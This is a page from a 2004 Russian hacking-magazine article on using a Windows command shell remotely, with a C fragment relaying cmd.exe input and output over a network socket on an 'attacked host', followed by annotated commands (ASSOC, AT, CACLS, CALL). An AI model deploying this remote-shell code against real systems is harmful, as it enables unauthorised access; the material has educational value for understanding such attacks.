Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #48, НОЯБРЬ 2004 г.

CMD-shell на службе у хакера

Крис Касперски aka мыщъх

Спецвыпуск: Хакер, номер #048, стр. 048-016-4


if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)

{

// читаем данные из пайпа и передаем их в сокет

for (a = 0; a < total; a += MAX_BUF_SIZE)

{

ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0);

send(csocket, buf, N, 0);

}

}

// проверяем наличие данных в сокете

if (!ioctlsocket(csocket, FIONREAD , &N) && N)

{

// читаем данные из сокета

recv(csocket, buf, 1, 0);

// корректируем формат перевода строки из UNIX'а в MS-DOS

if (*buf == '\x0A') WriteFile(wstdin, "\x0D", 1, &N, 0);

// записываем данные в пайп

WriteFile(wstdin, buf, 1, &N, 0);

}

// отдаем остаток процессорного времени остальным потокам системы

Sleep(1);

}

Теперь мы можем выполнять на атакуемом узле различные консольные программы так, будто бы они были запущены на нашей машине. Только не пытайся запускать FAR или подобные ему приложения, использующие функцию WriteConsole для вывода информации на экран. Наш диспетчер перехватить ее не в состоянии!

Команды хакерского багажа

Какой же командный интерпретатор обходится без команд? Ниже перечислены наиболее популярные в хакерской среде команды и консольные утилиты, вызываемые из командного интерпретатора, снабженные подробными комментариями. За дополнительной информацией можно обратиться, как ни странно, к справочной системе Windows, либо просто запустив файл cmd.exe с ключом /.

 

ASSOC

При запуске без параметров выводит список зарегистрированных типов файлов и ассоциированных с ними типов приложений, что позволяет выяснить, какие вообще приложения на данном компьютере есть. Теоретически эту команду можно использовать для подмены или удаления ассоциаций, однако через непосредственное обращение к реестру это сделать намного удобнее.

AT

Позволяет запускать приложения по расписанию (в том числе и на соседних машинах локальной сети). Нуждается в правах администратора и службе планировщика. Ни того, ни другого в распоряжении атакующего обычно не оказывается, увы.

CACLS

Управляет правами доступа к файлам и каталогам, перечисляя имена всех пользователей, имеющих доступ к данному файлу (папке), и позволяет их изменить. Естественно, менее привилегированные пользователи не могут воздействовать на более привилегированных, что существенно ограничивает возможности данной команды, но отнюдь не делает ее бесполезной.

CALL

Вызывает один пакетный файл из другого, при необходимости передавая ему один или несколько аргументов (например, call cmd_file.bat "hello, world!"). В качестве разделителя аргументов используется символ "пробел". Если необходимо передать аргумент с символом пробела, его следует заключить в кавычки.

Частая ошибка начинающих – вызов пакетного файла без команды CALL (например, cmd_file.bat "hello, world!"). Дочерний файл действительно вызывается, но управление в материнский уже не возвращается, поскольку в отсутствии CALL'а вызываемый файл затирает текущую копию командного интерпретатора в памяти.

Другая проблема – типичный проект состоит из нескольких пакетных файлов, но только один из них пусковой, а остальные вспомогательные. Как защитить пользователя от случайного запуска "не того" файла? Одно из возможных решений выглядит так: при запуске служебных файлов главный файл должен передать им "магический пирожок", подтверждающий правомерность запуска. При запуске служебного файла пользователем такого "пирожка", естественно, не оказывается и файл либо выдает поясняющие сообщение, либо самостоятельно запускает основной файл. Тогда пользователь может запускать любой файл, и это все равно будет работать ;).

Назад на стр. 048-016-3  Содержание  Вперед на стр. 048-016-5